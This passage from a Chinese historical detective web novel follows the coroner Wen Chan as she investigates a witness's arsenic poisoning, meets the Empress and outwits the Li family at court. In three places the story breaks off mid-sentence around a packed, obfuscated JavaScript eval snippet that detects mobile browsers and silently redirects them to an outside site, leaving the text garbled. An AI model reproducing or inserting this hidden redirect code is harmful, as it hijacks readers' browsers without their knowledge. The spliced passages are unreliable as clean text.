“小的今儿在西市听人说的,原来闻娘子的爹娘都是被李成芳害死的。” “还有此事?” “闻娘子的母亲原是李成芳的一个侍妾,后来被赐给了闻娘子的父亲才生下了闻娘子。别人一家人好好的,李家却忽然捉走了闻娘子的母亲,说她私逃,将人打死了,之后又以拐带奴婢为名将闻娘子的父亲告去了县衙。县衙的人按照规矩打了闻娘子父亲板子,没多久,闻娘子的父亲也死了。” 想到在山庄前前后后发生的事情,以及回京后的种种。 郑观澜只觉得背脊发凉。 这个女人……好厉害的心机,怕是自己也被她算计了进去! “郎君?郎君?”成生喊了两声,“您想什么呢?” 郑观澜回过神。 “无事。” 见自己主人沉默,成生试探道:“是有什么不妥吗?” “这个节骨眼上,赏她不是好事。” 成生挠头:“赏赐不是好事吗?” 郑观澜耐心道:“这是安抚。陛下是为了堵她的嘴,才给了这么大的赏赐。等旨意一下,陛下把人转去御史台,李成芳最多流放个几年,此事就算了了。” “那闻娘子多委屈啊!” 郑观澜没有说话,心中思绪却越发混乱。 按照对方的脑子,绝对能够想得到这些,可她为何不等有足够的证据再动手?明明知道现在证据不足,李成芳脱罪是很容易的事情。 难道…… 龙门山庄发生过的事情历历在目。 她从头至尾的目标就是这个? 成生没有察觉到自己主人的不对劲,继续说着。 “说来,闻娘子还和我们郑家有些关系呢?” “她和我们家能有什么关系?” “小郎君他们的先生就是闻娘子的亲表弟。” “表弟。”郑观澜合上眼,冷哼一声,“谁家不是一堆表亲?” “那可不一样。高夫子的母亲可是闻娘子的亲姑母,闻娘子父母去世后,一直是她在抚养闻娘子。” “那个叫嚣自己儿子考中进士要娶我郑家女儿的人?”郑观澜轻轻推开猫,一脸的不耐烦,“还真是一家人……” *** 闻蝉这边儿的氛围可就不一样了,带着满满的人情味和热乎劲儿。 今日得了旨意和赏赐,闻蝉自然是要先给养大自己的姑母分享。 闻连彩高兴得嘴都合不拢,闻蝉的姑父高升泰亦是如此。 他去外头买了好些酒食,亲自下厨,整了一桌席面庆祝,还嚷嚷着要办个流水席。 天色刚刚暗下,一个瘦高少年走了进来。 这少年看上去也就二十左右,长得很俊秀,就是眉目总带着阴郁之色。 “表姐?你怎么过来了?”他看到了一桌子菜吓了一跳,“这……今儿是三十吗?不是才到腊月吗?” “傻小子!”闻连彩敲了一下他的脑袋,拉着他坐下,“陛下今日给你表姐下了赦令,脱籍为良,还封了个录事的官儿!你说,这是不是天大的喜事!” 高淮也不由带上一丝笑。 “是喜事,以后就没人能欺负表姐了。” 闻蝉关心道:“你怎的才回来?” “去买了些墨。表姐今日来就别回去了吧?” 闻蝉十八岁那年就从姑母家搬了出去,这么多年也就逢年过节会走动。 “是啊,你原来住那屋我也给你收拾出来了。”闻连彩说道,“过年也在家里住吧。” “行,少卿说我腿伤还没好,今年轮值我就不用去了,只是大年初一我得出门一趟。” “大年初一?还要去哪儿?”闻连彩追问。 “今日跟着旨意一起来的,大年初一的宫宴,皇后殿下要召见我。” “皇后殿下召见?!”闻连彩双手合十,“这可是莫大的荣耀啊,我们老闻家也是祖坟冒青烟了!” 高淮年轻但是心思细。 “那表姐可准备好入宫的穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802450|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着了吗?” “皇后殿下让人赏了衣裳和首饰。” 闻连彩说道:“正好这几日我们再去露凝香挑挑胭脂水粉,到时候姑母给你好好上个妆,保你不必其他人差半分!” “姑母的手艺我能不信吗?”闻蝉亲亲密密抱着她的胳膊,“但是姑母必须也得买,不然我就不买了。” “买买买!我自己侄女孝敬我的我能不要吗?” 高升泰在一旁揭自己妻子老底。 “你每每送了新衣裳新鞋子你姑母都得受累,要穿着走上大半个京城跟人炫耀才罢休。” 闻连彩面色通红:“你不是吗?快吃你的吧!嘴碎!” 一家人热热闹闹吃了饭,围着火炉又说了好久的话才各自回了房。 闻蝉关上门,脸上的笑意瞬间消失不见。 她拖着腿走到床边躺下,吐出一口浊气。 屋内还是和她离开之前一样,用的素净青花布做的床帐,只有被褥被特意换成了红色花布。 耳边传来几声隐隐约约的鞭炮声。 毕竟是要过年嘛。 不知过了多久,门被敲了几下。 “表姐,你睡了吗?” 闻蝉坐起身:“进来吧,门又没锁。” 高淮蹑手蹑脚走进来。 “怎么?天儿都快亮了,还不去睡?” 高淮坐到她的对面。 “我前几日在郑家都听人说了。” “说什么?” “你受伤了,是为了在龙门山庄捉拿杀父凶手,连腿上的肉都被人差点剜掉。” 闻蝉噗嗤一笑:“消息还传挺快。” 高淮盯着她的腿:“你没受伤?” “是受了伤,但没那么重,也不是为了抓李成芳。”闻蝉给了他一记,“傻小子,李成芳是什么时候抓的,你忘啦?” 高淮也是关心则乱。 “这些人怎么乱传话!” “我让人散播出去的。”闻蝉挺起胸膛,“得竖立一个伟岸的形象啊!” 高淮可了解她。 “你散这消息到底是为了什么?” “你也知道,爹娘的死按照现在的律法来算就是一笔烂账。”闻蝉起身走到桌前,自己给自己倒上一盏茶,“徐婉当年虽亲口应下阿娘出嫁之事,却把卖身契一直捏在自己手里。无凭无据,他们完全可以不认口头约定。打死一个自己家里犯事的奴婢,能是多大的罪?阿爹的死虽有李家从中作梗,可只有丁沱一人的供词不说,直接的死因又不是中毒而死,而是被刺死。按照如今的形势,根本不足以伤到李家的毫毛。” “那……可是不管怎么说李成芳还是被抓了啊!” “知道王子仪的事儿吧?” “知道!这事儿传得沸沸扬扬,说王子仪就是前段时日平康坊闹的那个采花贼!”高淮还是觉得不可思议,“这事儿是真的吗?” “不假。” “两件事……有关系?” “是我利用了李家,让他们误以为是王子仪为了按住采花贼一事,和我达成交易,爆出李成芳参与龙门山庄后山命案一事。李家为了证明李成芳的清白,自然会将王子仪的丑事抖搂出来。” 闻蝉忽然想到那张傲气的脸,不由失笑。 “还要多谢一位好心人啦,是他帮我把李家爆出王子仪一事捅到了王家跟前。有王家在前朝搅事,再加上我给这件事添加几分孝道的意味,不管是前朝还是民间都议论纷纷,李成芳怎么也逃不过这一劫!” 高淮并不乐观。 “皇帝赏赐你官职,不是好事。” “我知道,这样顶多让李成芳流放几年,他到底是李家人,皇帝是偏袒自己表弟的。” 高淮忍住骂皇帝的冲动,安慰道:“好歹你还捞了个官职,不算亏。” “只能这样想啦。”闻蝉摸了摸他的头,“况且,我还有其他安排。” 高淮不由道:“表姐,你这样太累了。” “算计人,其乐无穷。”闻蝉的笑容没有一丝勉强,“看到他们一个个挨了报应,我就觉得畅快无比!” 高淮也不得不承认。 在这样的情况下,若不算计,这些作恶之人根本不会得到惩罚。 “闻蝉!开门!”大门被人敲得咚咚响,是卓啸的声音。 他今儿不应该在大街上帮着金吾卫巡逻吗? 24. 年节喜哀 闻蝉急忙去给卓啸开了门。 卓啸还穿着官服,跑得直喘粗气。 “丁沱,丁沱死了!” 闻蝉心底一沉。 “什么时候的事!” “就昨晚,御史台的人来带走李成芳,顺道也带走了作为证人的丁沱。我今早正准备回去睡觉,遇到的一个金吾卫告诉我的。他说人死了后,御史台的人急忙将尸体也拉走了。” 咚咚咚—— 标志宵禁结束的鼓声接连响起。 闻蝉回房背起验尸箱。 “边走边说!” 卓啸带着她出了坊门朝着西边走去。 “御史台对外的说法是丁沱得了鼠疫而死,放他大爷的的屁,老子一直把人安排在干净牢房的,哪儿来的老鼠!丁沱一直好好的,也不可能被老鼠咬。昨晚人就被拉出去了,按规矩应该是拉去西边儿的乱葬岗,我们快一点,应该能赶上。” 二人连走带跑,一个时辰后就到了西郊的乱葬岗。 守着乱葬岗的老陈头和二人很熟悉。 卓啸一上去就直接问道:“老陈头,昨晚御史台送来的尸体扔哪儿了?” 二人本就因着公务常来找尸体,老陈头也没多想,朝着左边一指。 “就在那儿。诶!等等!” 他从小屋里了跑出来。 “我差点儿给忘了,御史台的人说那人得了鼠疫,让我午时把人烧了,那得鼠疫死了的人你们可别碰啊!” 闻蝉说道:“也不一定是得了鼠疫。” 老陈头瞬间明了。 “啧,我明白了。”他指了指自己的嘴,“今儿你们就没来过,尸体我也早就给烧了。” 他守了一辈子乱葬岗,什么“鬼”没见过。 这定然又是被杀人灭口了!他才不去把含冤而死的人尸首还给烧了。这不作孽嘛! “多谢您。” “你们动作快点。”老陈头摆摆手,转身回了屋。 二人奔向被指出的位置。 那是个矮坡的底部,丁沱的尸体被半掩在土中。 二人把土拨开,尸体露了出来。 尸体面色紫黑,发绀,乍一看还真像是得了鼠疫而死的人。 但是这根本瞒不过闻蝉。 她捏住丁沱的两颊,让他的嘴唇张开,凑近一闻。 “皮肤口唇发紫,浑身都是青黑色小疱,双眼突出,嘴唇破裂,舌上裂纹,指甲呈青黑色。再加上口中残留的大蒜气味,是砒霜中毒。你可打听过他是何时被带走的?” “刚到酉时的时候,人一到御史台就死了。肯定是御史台的龟孙子干的!” “御史台监牢几点放饭?” “和咱们一样啊,辰时申时,早晚两顿。” “丁沱在咱们监牢里申时用了饭后不到一个时辰就到了御史台。你说那砒霜是怎么让他吃下去的?” “你是说……下毒的人是我们大理寺的人?” “没错,丁沱躲避逃杀多年,十分警觉。明明才吃喝完,一到御史台,监牢就给他吃食和水,他定然会生疑。”闻蝉补充道,“这毒不是灌进去的。” “不对吧?砒霜毒发很快……他也不是在路上就死了的啊?御史台虽然就和咱们隔了一条街,可这一路过去,肯定早就毒发了。人是在御史台死的啊!” “总有法子能延缓中毒时间,之前我和少卿办过一个案子就是如此。凶手在下毒的同时给死者还服下了部分解药,导致死者毒发时间延后了一个时辰。”闻蝉站起身,“大理寺上上下下几百号人,人各有立场,也不奇怪。” 卓啸却不接受这话:“那也不能杀人!我要查。” “有件事我还没和你说。” “何事?” “你应该知道前段时日,青石县村庄消失一案吧。” “记得啊,说得玄乎得很,一个村儿的人一夜之间就没了,活不见人,死不见尸。不是说凶手是那个柳什么吗?” “柳自然。此人虽然案发时就在隔壁做县令,案发后又调了过去,但是凶手是他太牵强了。” “你不要告诉我人在大理寺。” “嗯,他在何处只有我和少卿、寺卿知晓。就是因为我们都感觉到大理寺有钉子。这人很危险,你最好不要追查。” 卓啸张了张嘴:“你还不是会去查。” 闻蝉心虚不敢回答。 “走了走了,回头我让吴叔来一趟收尸。” “顾左右而言他。” 二人并肩而行。 “你现在可了不得了,以后就是闻录事了,我娘昨儿还念叨你了,说你怎么不去看她。” 闻蝉嘴角的笑意带着几分僵硬。 卓啸的这位母亲…… 人不坏,就是心眼儿太多,嘴甜心苦,两面派。 “还不是忙。我可没忘了师母啊,昨儿我和姑母说起去买脂粉我都记着她呢。” “谁要脂粉,要的是你人来。” “啧啧,这话说得。” “你初一要进宫?” “是啊,咋了?” “我得到一点消息,说是李翎也要去的,他今年科举。” 闻蝉挑眉:“那可就有意思了!” *** 王子仪失足落水死亡,李成芳一案自从转入御史台后就停滞不前。 有些事,似乎没有发生一样,在年节的鞭炮声中被衬托得格外沉寂。 就这样,到了大年初一的那一日。 闻蝉穿着皇后赏赐的衣裳首饰,再加上闻连彩那极好的手艺,愣是把她打扮得像个官家小姐一般。 她是和蔡真夫妇一块的。 蔡真的夫人李九珠是个活泼性子,和蔡真的沉闷严肃截然不同,一路上都拉着她从宫廷禁忌说到了皇室八卦! “夫人,你应当给阿蝉多说些宫中礼仪。” “阿蝉知道呢!”李九珠横了他一眼,“你别插嘴!” 蔡真有些“窝囊”地缩了缩,哪里还有在外那“铁面判官”的模样? 闻蝉失笑,追问道:“这些我大概知道,肃王殿下我也见过几次,是个很端方的人,我觉着他和太子殿下关系挺不错的啊。” “谁说得清呢?他母亲郑贵妃虽然早亡,但是陛下心里可一直惦记着,背后又站着一个郑家,若没那心思才奇怪。” “肃王殿下淡泊名利,和传言并不相同。”蔡真忍不住插嘴,“太子殿下是皇后殿下所出,光复大周功不可没,陛下也对其极其爱重,地位十分稳固。” 闻蝉也赞同点点头。 几十年前,因着大周宦官士族外戚多年内斗,皇帝大权旁落,民不聊生,天下大乱。 一个叫张鹿的道士发动的太安道起义,朝廷为了镇压太安道,下放了权力,地方割据愈发严重。 颜氏一族的颜茂挟持天子退位,谋篡皇位。 而先帝作为大周宗室当即在汉中起兵,直到十八年前,颜茂重病,现在的皇帝趁机发兵攻打占领了京城,大周皇室陆氏才再次得了天下。 当时被迫退位的那个皇帝也得到了极大的优待,被封为了平陶公,带着妻女住在封地享受天伦之乐。 现在的皇帝是个厚道人,对之前反叛的势力都是从宽处理。 就连颜茂出身的颜氏一族都没有被株连,平陶公夫人颜氏以及颜子光所属那几脉都得到了赦免甚至是重用。 十八年,山河一新。 太子还是个合格的储君,皇帝怎么可能轻易变动储君人选? 李九珠瘪瘪嘴:“我也怕陛下昏头。对了!”她目光一亮,“今日那些要参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808275|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春闱的举子也都要来呢!阿蝉你可以看看,有没有哪个好的……” 闻蝉抬手:“您就饶了我吧!说是不限出身,可这举子多是世家出身,我可高攀不起。” “谁说的,我记得有个叫百里弗的就不是世家子弟,书画可好了,那日我们在郑家,亲耳听到郑先生夸奖他呢,还说要收他做徒弟。” 蔡真说道:“阿蝉不适合那样的。” 风花雪月的学究,俩人在一起能说得来吗? “我和你也说不来呢!”李九珠嘟嘟囔囔,“人的缘分,谁知晓。” 闻蝉急忙道:“那就随缘吧。李姨,你之前不也说你和蔡少卿在一块都是缘分吗?” 李九珠很信缘分二字,当即不再提,反而讲起来她当年和蔡真相遇的故事。 马车摇摇晃晃到了皇宫。 三人一下马车,一个中年女官就走了过来。 她是个鹅蛋脸丹凤眼,脸上带着疏离的笑意,看上去高不可攀。 可一见闻蝉,她脸上的笑意就真切了几分。 “这位就是闻录事吧?” 闻蝉回道:“正是。” 李九珠介绍道:“这位是皇后殿下身边的柴尚宫。” “见过柴尚宫。”闻蝉落落大方行了礼。 柴尚宫说道:“殿下想要单独见见闻录事。” *** 跟着柴尚宫径直进入一座宫殿。 宫殿不大,路两边都是高大草木,只简单点缀着几朵牡丹,看上去极朴素。 柴尚宫说道:“此处是皇后殿下在大明宫的居处,平时殿下都是住在别处,这里也没怎么布置。” “是皇后殿下以俭率下,让人敬佩。” 二人走到门口,柴尚宫引着她进去。 闻蝉沉住气,按照礼仪端端正正行了礼。 “臣见过皇后殿下。” “不必多礼,起来吧。” 闻蝉起身,看到了皇后的真容。 不像护国公,眉宇之间和她的哥哥京兆府易少尹很相似,眼神明亮坚定,自带威严,但是却有一种说不出来的温柔。 皇后也在打量着闻蝉。 确实是个让人一见就很喜欢的孩子,难怪自己父亲那样的臭脾气都喜欢她喜欢得不得了。 “赐座。” 闻蝉也不推辞,谢过后就坐了下来。 “果然,这衣裳首饰都很衬你。” “是皇后殿下眼光好。” 皇后微微一笑。 “早就听父亲提起过那次你救他的事情,一直没有机会亲自谢你,今日也算是见到了。” “护国公是大周柱石,臣能救下护国公是天意也是臣的福分。” “平日就亏着你劝他。”皇后知道自己父亲的毛病,不由叹气,“不然他性子暴烈,待下严酷,总是要惹来麻烦。” “护国公只是年岁大了些,难免执拗一点,和他好好说能说得通的。” 皇后话锋一转。 “就如同这次的裴籍他们被杀。这些人,以为能够以势压人一辈子,却不知,不管是什么人,都只有一条命,一刀下去就是死。管你世家豪贵还是皇室子弟,都逃不掉阎王的生死簿。” 闻蝉没想到皇后竟然能说出这样的话来,一时愣了愣。 皇后突然问道:“委屈吗?” 闻蝉回过神,坦然看向皇后。 “不委屈。是李家不体谅陛下,凭借先太后的情分,得沐皇恩,却不知感恩,反而为非作歹。臣也明白陛下和殿下的为难,如今只想好好为陛下效力,报答陛下和殿下赏赐官职的恩情。” 皇后给李家擦屁股擦了几十年了,今日听到这话心里舒坦极了。 “你是个好孩子。你放心,‘随其缘对,善有善报,恶有恶报。’。” 25. 八字不合 从皇后宫里出来后,闻蝉也没去举子参与的宫宴,而是在柴尚宫安排的屋内小憩。 等到了点在那太液池兜一圈子,也当是来了一次皇宫游玩。 只是嘛…… 不使点儿坏就走,她心里就是不舒坦! 闻蝉摩挲着自己的指甲。 片刻后,她起身走了出去,直奔太液池而去。 时间掐算得很准,那些举子们刚好出殿。 闻蝉一眼就看到了走在最前面的郑观澜。 他身边还是颜子光,不过又多了几个人。 一个高大魁梧,闻蝉认识,是武家的武原,这人的哥哥是金吾卫的一个中郎将,和大理寺常有交道。 一个瘦高个,皮肤白嫩得像是剥了壳的鸡蛋,五官也秀气得像个小娘子一般精致。 这个不认识,但是……闻蝉猜得到,应当是何家的老七何素。 早就听人说过,何素生了一副女相,如今一看,确实如此。 难怪郑观澜那个傻子分不清男女。 还有一个就很陌生了。 看上去年岁尚小。 像是十五岁的模样,长得很是可爱讨喜,一双荔枝似的眼睛神采奕奕,透着一股子机灵,像个小仙童! 京里何时有了这么个人物? 当然,这几人并没有太吸引她的目光。 她的目标是李翎。 李翎正往一处树林旁走着。 闻蝉悄然跟上。 行到无人处。 闻蝉猛地开口。 “李郎君一个人?” 李翎转过头,一见闻蝉,心头就燎起了腾腾怒火。 “竟是你这个野种!你怎么能进宫?!” 闻蝉微笑:“皇后殿下请我来的呢。这年初一的,李郎君不去监牢探望自己伯父,怎么跑这里来了?” 说到这里,李翎就来气。 他自小就和这个二伯关系最好。 “你娘那个贱婢,吃我们李家的饭还敢……” 闻蝉忽的逼近,目露凶光,仿佛是要杀人一般。 李翎不过一个被娇惯着长大的纨绔,吓得僵住。 “你……你想干嘛?” 闻蝉诡异一笑:“没什么,只是提醒你,我们在办案的时候要是遇到什么无头案,十之八九作案人都是公门中人,因为他们只知道如何毁尸灭迹。此处……” 四周一片漆黑,看不见半个人影。 李翎大叫一声,连滚带爬跑了。 闻蝉也没追,过了片刻,整了整仪容,朝着人多处走去。 太液池旁,汇聚了不少人在。 闻蝉没有去找相熟的人,反而慢悠悠走着,像是在赏花,不着痕迹靠近了李翎。 才被她恐吓了的李翎见人多立即开始报复。 “哟,这不是我们鼎鼎大名的闻仵作吗?不在家里给你爹娘烧纸上香,到这儿来是不是给大家招晦气了些?” 众人的目光一下汇聚了过来。 闻蝉的脸色瞬间一沉,却意外地没有回嘴。 “杀人犯的侄子还有脸出来,我要是你,走路都要把脸兜着,免得这过于厚重的脸皮坠下来把宫里的地砖都给砸碎了!” 一个小小的身影陡然挡在闻蝉面前,正是方才那个像小仙童似的少年,他指着李翎大骂。 李翎一把揪住少年的领口。 “你是什么东西?!” 没想到那少年也是个硬茬,直接一巴掌呼了过去,又接着一脚踢向李翎的要害。 眨眼之间,李翎倒在地上,疼得直打滚。 少年又骂了几句。 李翎被同伴扶起来,恶狠狠看着她问道:“你又是哪家的!” 那少年并未回答,反而是颜子光冲上前。 “你对我们颜家的人不满?” 李翎惹不起颜家,只能忍气。 “李郎君,死者为大,你方才那话,太过。”郑观澜走上前,余光瞟了一眼闻蝉。 这个女人又在算计什么?他才不信她会是那种等着别人骂她不反击的性子! 颜子光又骂了一句,拉起那少年就走。 他动作粗暴,那少年被拉得一个趔趄,正好和闻蝉对上视线。 那双眼睛干净得像是山缝中流出的清泉,闻蝉不由一笑:“多谢你。” *** 另外一边,郑观澜追上去的时候,颜家两兄弟已经闹了起来。 颜子光指责这个远房堂弟多管闲事,颜青却梗着脖子不认错。 郑观澜对颜青印象很不错,难得开口劝道:“十六,你堂兄也是为你好。李家的事情上闻蝉确实是苦主,但是此人出身低微,还喜钻营,心机更是深浅难知,你别沾手她的事情最好。” 他敢保证,今晚的事情绝对是闻蝉算计出来的! 颜青眼睛红了红,终于低头。 一旁的武原与何素也开始搭台阶。 颜子光松了口,兄弟二人算是重归于好。 郑观澜说道:“不过此事还是该提前给颜左丞说一声。” 颜子光明了。 “我这就去找我爹。” 颜青有些瑟缩。 “我还是在这儿歇一歇吧?” 郑观澜:“若是颜左丞生气,岂不是让十六难堪?我们去就是了。” 告状这种事,宜早不宜迟。 见了颜左丞,颜子光张口就来。 “是李翎先动手骂人的,我和十六才没有忍住。” 郑观澜点头,表示附和。 自己儿子是不可信,但是郑观澜这个孩子秉性如何,颜左丞很清楚,当即拉着颜子光就去找皇帝了。 郑观澜和其余几人在原地等着消息。 武原说道:“那个闻娘子好可怜哦。” 郑观澜瞥了他一眼。 天真! 何素也是站在武原这边儿的。 “我也听人说了。李家也真是做得出来,人孩子都十岁了,还说是被拐走生的,不知道图啥!” 郑观澜也觉得此事疑点重重。 李家为何莫名其妙对她父母下手?凡事总要有个理由吧! 过了许久,颜子光得意洋洋,昂着脑袋回来了。 何素急忙去问。 “咋样?陛下怎么说?” “陛下多圣明啊!”颜子光扬眉,“陛下听了李家的恶行就大发雷霆,差点要打李家人板子呢,后来肃王殿下来了,说李成芳犯罪,李翎是他侄子,按规矩就不能科举。” “陛下准了?”郑观澜十分意外,皇帝怎么会突然生这么大的气,按照往常,皇帝应该会和和稀泥就了事。 “准了!”颜子光拊掌,“十六呢?我们得回去了。” 郑观澜却走开一步。 “我还有事,先行一步。” 颜子光拉住他:“你急啥啊!” 郑观澜没有回答,朝着太液池出口走去。 *** “闻录事。” 郑观澜的声音陡然在背后响起。 闻蝉哆嗦了一下,不耐烦转过身。 “郑郎君有事?” “最近京城风云变幻,闻录事得益颇多啊。”郑观澜想到对方的算计都觉得心中一阵寒意。 闻蝉笑了。 “哪里比得上郑郎君运筹帷幄?不过动了动嘴皮子,就让李王两家斗得像乌鸡眼似的。” “闻录事也不差。” “再有心机也做了别人手里的刀。” “这是双赢,况且,闻录事利用我难道用得不顺手吗?”郑观澜很是窝火这一点。 自己竟然被人利用完才反应过来。 “我哪里比得过闻录事那般,能用十五年前的一桩旧案,为自己博取名位。” “你是这样想的?”闻蝉翻了个白眼,也不是太在意对方的误会。 反正也是个不太相干的人。 她转身离开。 “真是不愿再看见你。” 然而,很多时候,命数是躲不开的。 *** 今日该是休沐,闻蝉却没有在家休息,而是换了体面打扮和蔡真一起去了文安郡公府。 元宵时,周福云让人送了节礼和帖子来。 帖子里说到正月二十这一日,府上要办个宴会,请闻蝉去是想和故人之女叙旧。 对方是认识自己父亲的,闻蝉有个预感。 这一趟,她必须要去。 一进郡公府,闻蝉就被早早守在门口的杜若接去了后院。 周福云站在门口等着她。 “可算是来了!”她主动上前几步牵住闻蝉的手,拦住了她行礼的动作,“在我这儿,你不必讲道虚礼。你的伤可好些了?” “多谢夫人记挂,已经快好了。” 周福云拉着她的手走入屋内,让她挨着自己坐下,目光一直凝滞在她的脸上。 闻蝉被看得心中忐忑。 “夫人。”杜若端来茶水点心,小声提醒。 周福云这才回神,她不好意思笑了笑。 “是我吓着你了,实在是……我……”她摆摆手,示意其他人都下去。 屋内只剩下二人。 她才继续说道:“我没有遇见郡公之前,在汉中的歌舞坊跳舞,那个时候还有些名气,人人都叫我拂云娘子。” “夫人今日叫我来,是要说和先父有关的事吗?” 周福云眼眸一红,点点头。 “你的父亲是为了救我而死的。” 闻蝉一脸迷茫。 她调查此案多年,从未发现任何周福云和此事有关的蛛丝马迹。 “什么?” 周福云也很讶异:“你不知晓吗?” 闻蝉摇头。 周福云咬牙切齿:“该死的老贼婆!定然是她从中作梗!” “这……到底是怎么回事?我只知道父亲是被一个贼人所杀。” “一切都因我而起。” 周福云轻叹一口气,将一切娓娓道来。 “那一年,我跳舞时不慎扭伤了脚,就想去找丁大夫瞧瞧。走到医馆附近的时候正好是黄昏,忽然,出现了一个贼人,作势要……侮辱我。你父亲正好路过,和他搏斗了起来。那贼人十分嚣张,还说……我本就是个舞女,没什么清白可言,让你父亲不要多管闲事。可你父亲却丝毫不退。他护着我,让我先逃去报官。我趁乱逃走。因为我知道我的脚伤着跑不远,就先回了舞坊,叫舞坊的打手先去报官。” 这一点,和闻蝉之前了解到的情况对得上。 当时报官的人确实是一个歌舞坊的打手。 “事后,舞坊的老板告诉我,你父亲没有事,只是受了伤。我还让老板给你父亲送了银钱去。想来,你也没有收到。” “县衙的人只告诉我,说父亲是被强盗劫杀。案发后不久,我就被姑母带回京城了。您还知道其他情况吗?” 周福云摇摇头。 “你有所不知。此事发生之前,老板悄悄告诉我,歌舞坊好像是得罪了谁,有人瞄上了我们,她准备快点离开汉中。事发后三日,我们就悄悄离了汉中,逃去了苏州。” “你逃走之前,可有看见父亲受伤?” “有!你父亲手臂被划伤了,我跑的时候,贼人来追我,他为了阻拦又挨了一刀。”面对昔日恩人留下的孩子,周福云再也忍不住眼泪,“都是我不好,若是那日我留下……那贼人说的也没错,我本是舞女,哪里有什么清白可言,反倒连累你父亲一条性命。” “别这样说。”闻蝉握住她的手,“舞女就该被欺负吗?这世上没有这样的道理。” 周福云擦了擦眼泪。 “瞧瞧,我反而还要你来宽慰。” 闻蝉说道:“您本来也不必太过自责,害人的是那个贼人。而且这些日子外头的传言您也应该听到了,即使没有此事,也有人对父亲下了毒手。” 周福云表情严肃起来。 “我就是听了那些话,心中愈发不安。后来还特意去找过皇后殿下,将当年之事告知。皇后殿下是不喜李家的,可她说先太后去世很早,陛下对母亲的孺慕之情全寄托在李家身上,再加上李家老太爷又有从龙之功……李家怎么都能逃过一劫。回来后,我就想着,得先把你找来通通气,好为你父亲报仇!” “多谢您。”闻蝉诚心诚意感谢道。 “是我该谢你。”周福云抚着对方的鬓发,“我头一次见你就觉得很亲近,也真的是缘分。对了,我叫你来就是想和你商量一件事。” “何事?” “我想将当年你父亲为了救我的事情公布出去,这样,李家人定然会遭受更多的非议,不说让他死,但是让他判得更重些肯定不成问题。” “不可!”闻蝉反驳极快,“这件事情公布出去,外头都会非议你。” “我不怕这些,说也说了这么多年了。”周福云不在乎的笑了笑,“只要我不在乎,那些议论我听都听不见。” 闻蝉劝道:“夫人,你现在好不容易安稳下来,我想若是父亲知晓,定然不会愿意你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812800|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了多伤李家几分就把自己的安稳日子搭进去。” 不管怎么说,现在的周福云是宗室,过往没什么好说的,可在现在的世道之下,一旦爆出她险些被贼人侮辱的事,不知道会被编排成什么样。 闹大了,就是文安郡公再如何要保她,皇帝也会不满。 “李成芳那里我早就安排好了,您没必要再做无谓牺牲,就当是为了父亲,父亲救您是为了您能好好活下去。” 周福云缓缓点头。 “我听你的,但是,我能做什么呢?”她追问道,“李成芳那里你有安排?我能帮上什么吗?” 闻蝉不愿说出自己和李成学合作之事。 “只是借刀杀人而已,想要李成芳命的人多的是,至于李家……多行不义必自毙。”她笑了笑,“您好好当着您的夫人,以后我也有个靠山呀!” 周福云表情终于一松,绽出一丝笑。 “是,我以后就是你的靠山。” 为免议论,周福云很少在宴会上出面,二人说完话,她就让杜若带着闻蝉去了宴会。 闻蝉被安排坐在蔡真身边。 蔡真关心道:“你和周夫人认识?” “周夫人当年受过父亲恩情。” 蔡真也没怀疑。 闻立德本来就是个出了名的老好人。 “那也算是结了善缘。” 闻蝉左右一看,又看到了郑观澜。 她皱眉。 “怎么?今日的宴会又是为了行卷?” 行卷,其实就是一种变相的关系走动。 举人在应试前会将自己的诗文呈给一些和主考官关系密切的达官贵人,以图能够得到被推荐给主考官的机会,增加考中的可能性。 文安郡公和此次的主考官关系极好,自然来了不少举子想要疏通门路。 正说着话,文安郡公就走了出来。 众人起身行礼。 文安郡公特意看了一眼闻蝉,对着她点了点头,满是善意,之后才说道:“今日真是汇聚了不少青年才俊啊!诸位先坐吧。” 闻蝉还没坐下,就听见文安郡公开口说道:“我今日看了一篇文章,叫《论五蠹》,写得极好,作者仿佛是叫做颜青?” 颜青?是那日替自己解围那个少年? 闻蝉看了过去。 只见颜青起身:“正是晚辈。” 文安郡公上上下下打量了颜青好几眼,又夸赞了几句才让他坐下。 闻蝉心里好奇,鼓动蔡真。 “少卿,那《五蠹论》你看过吗?写得怎么样?” 举子中少有对刑名之学感兴趣的,蔡真本也有此意,对着文安郡公小声问道:“郡公,那篇《五蠹论》可否借在下一观?” “我就知道你会喜欢!”文安郡公让人将文章呈上。 闻蝉也凑过去看,虽不太看得懂长篇大论,但她也能立即说出一点好来。 “这字儿写得真好哇!” 蔡真一边看一边点头,板肃的脸上也浮现起淡淡的笑意。 